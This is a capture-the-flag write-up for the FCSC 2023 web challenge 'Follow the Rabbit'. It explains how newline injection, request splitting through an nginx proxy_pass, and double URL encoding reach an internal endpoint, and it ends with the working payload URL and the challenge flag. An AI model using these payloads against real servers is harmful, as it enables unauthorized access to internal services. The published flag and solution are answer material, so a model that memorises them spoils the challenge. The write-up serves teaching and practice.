Contents

FCSC2023 - Follow the Rabbit

This FCSC web challenge was really fun to solve. You had to bypass some nginx directives to reach a specific endpoint.

Description

While Alice was taking care of her garden, she stumbled upon a panicked white rabbit. In a hurry, the rabbit asked her to follow him. Without hesitation, Alice decided to pursue him into his mysterious burrow.

URL : https://follow-the-rabbit.france-cybersecurity-challenge.fr

SHA256(follow-the-rabbit-public.tar.gz) = 6d5af5b83e3c9d3d5bb556965440df80507406239e68ef94c03ba1482d99f411.

Resolution

For this challenge, we are provided with the following nginx configuration:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
http {
    charset utf-8;

    access_log /dev/stdout combined;
    error_log /dev/stdout debug;

    upstream @deeper {
        server 127.0.0.1:8082;
    }

    server {
        listen 80;
        server_name _;

        location ~* ^(.*)$ {
            return 200 "I'm late! I'm late! For a very important date!";
        }

        location / {
            return 200 "Oh dear, oh dear! I shall be too late!";
        }

        location /deeper {
            proxy_pass http://@deeper$uri$is_args$args;
        }
    }

    server {
        listen 8082;
        server_name deeper;
        include flags.conf;

        location /deeper {
            add_header X-Original-Path "$uri";
            add_trailer X-Trailer "Coming to a nginx close to you" ;

            return 200 "No time to say hello, goodbye! I'm late! I'm late! I'm late!";
        }

        location /deepest {
            return 200 "$flag";
        }
    }
}

We can already tell that to reach the flag, we need to access the /deepest endpoint, which is behind a reverse proxy.

It is impossible (for now) to get to this endpoint as a non-localhost source because it is only defined in the server block listening on port 8082, which is bound to localhost. In the server block listening on port 80, there is a location block for /deeper that proxies requests to the deeper server running on localhost:8082. However, the /deepest endpoint is not reachable since requests must start with /deeper to be accessed through this proxy.

Regex bypass

To start, we notice that trying to access the /deeper page doesn’t work because the regular expression ^(.*)$ used in the first directive seems to catch all requests.

1
2
$ curl "http://localhost:8000/deeper"
I'm late! I'm late! For a very important date!

The documentation nginx confirms that the ~* prefix indicates the use of a regex. Referring to regex101, we see that the regex matches everything except \n.

/Follow-the-Rabbit/052071c16367497cdfb4d6bc60c7b774.png

We adjust our request accordingly and successfully bypass the first filter.

1
2
$ curl "http://localhost:8000/%0A/"
Oh dear, oh dear! I shall be too late!%

Proxy pass $URI

Now that we’ve reached the / directive, we’ll try to access /deeper. We know that our request must start with /deeper to enter the directive, but we still need a \n to bypass the initial regex. We observe in the docker logs that there are two requests, with one sent from localhost. This indicates that we are indeed passing through the /deeper directive, but the request must be malformed since we don’t receive a response.

1
2
3
public-follow-the-rabbit-1  | 127.0.0.1 - - [29/Apr/2023:16:47:12 +0000] "GET /deeper" 200 60 "-" "-"
public-follow-the-rabbit-1  | 172.25.0.1 - - [29/Apr/2023:16:47:12 +0000] "GET /deeper%0A/ HTTP/1.1" 009 60 "-" "curl/8.0.1"
public-follow-the-rabbit-1  | 2023/04/29 16:47:12 [info] 30#30: *1 client 172.25.0.1 closed keepalive connection

We change the listening port from 8082 to 8083, then rebuild the Docker container with docker-compose down && docker-compose build && docker-compose up, connect to it with a shell docker exec -it public-follow-the-rabbit-1 sh and run netcat in listening mode.

1
2
3
4
5
6
7
8
# nc -lvnp 8082

GET /deeper
/ HTTP/1.0
Host: @deeper
Connection: close
User-Agent: curl/8.0.1
Accept: */*

We see that the \n creates a new request, so all we need is a valid HTTP request as shown below.

Don’t forget (like I did) the two line returns to mark the end of the request.

1
2
GET /deeper HTTP/1.0\n
Host: localhost\n\n

We get a valid request with the payload /deeper%20HTTP/1.0%0AHost:%20localhost%0A%0AGET%20/, which allows us to move on to the final step.

The end of the payload GET%20/ is not necessary as we will not receive the response from the second request.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ curl "http://localhost:8000/deeper%20HTTP/1.0%0AHost:%20localhost%0A%0AGET%20/"

GET /deeper HTTP/1.0
Host: localhost

GET / HTTP/1.0
Host: @deeper
Connection: close
User-Agent: curl/8.0.1
Accept: */*

Double encoding

There is an explanation that I deliberately left out in the previous section. Why did the line return create two requests instead of just one, as in the first step ?

This is due to the fact that the request is normalized, as stated in the documentation. Nginx interprets %XX hexadecimal values.

/Follow-the-Rabbit/a16b064555187c68428d55418b90f0ad.png

We also learn that it decodes ., .. and /.

The matching is performed against a normalized URI, after decoding the text encoded in the “%XX” form, resolving references to relative path components “.” and “..”, and possible compression of two or more adjacent slashes into a single slash.

We will use double URL encoding to get a payload as /deeper/../deepest, which will only be interpreted as /deepest once it gets through the proxy. For example, when nginx decodes the URL, it first decodes %25 as a percent sign (%), and then decodes the remaining 2f as a forward slash (/).

The final request will be https://follow-the-rabbit.france-cybersecurity-challenge.fr/deeper%252F%252E%252E%252Fdeepest%20HTTP/1.0%0AHost:%20localhost%0A%0AGET%20/

Flag

FCSC{429706b083581875b3af87c239f3d42a44d39e63991c4a2a3f63cde5d86b1b23}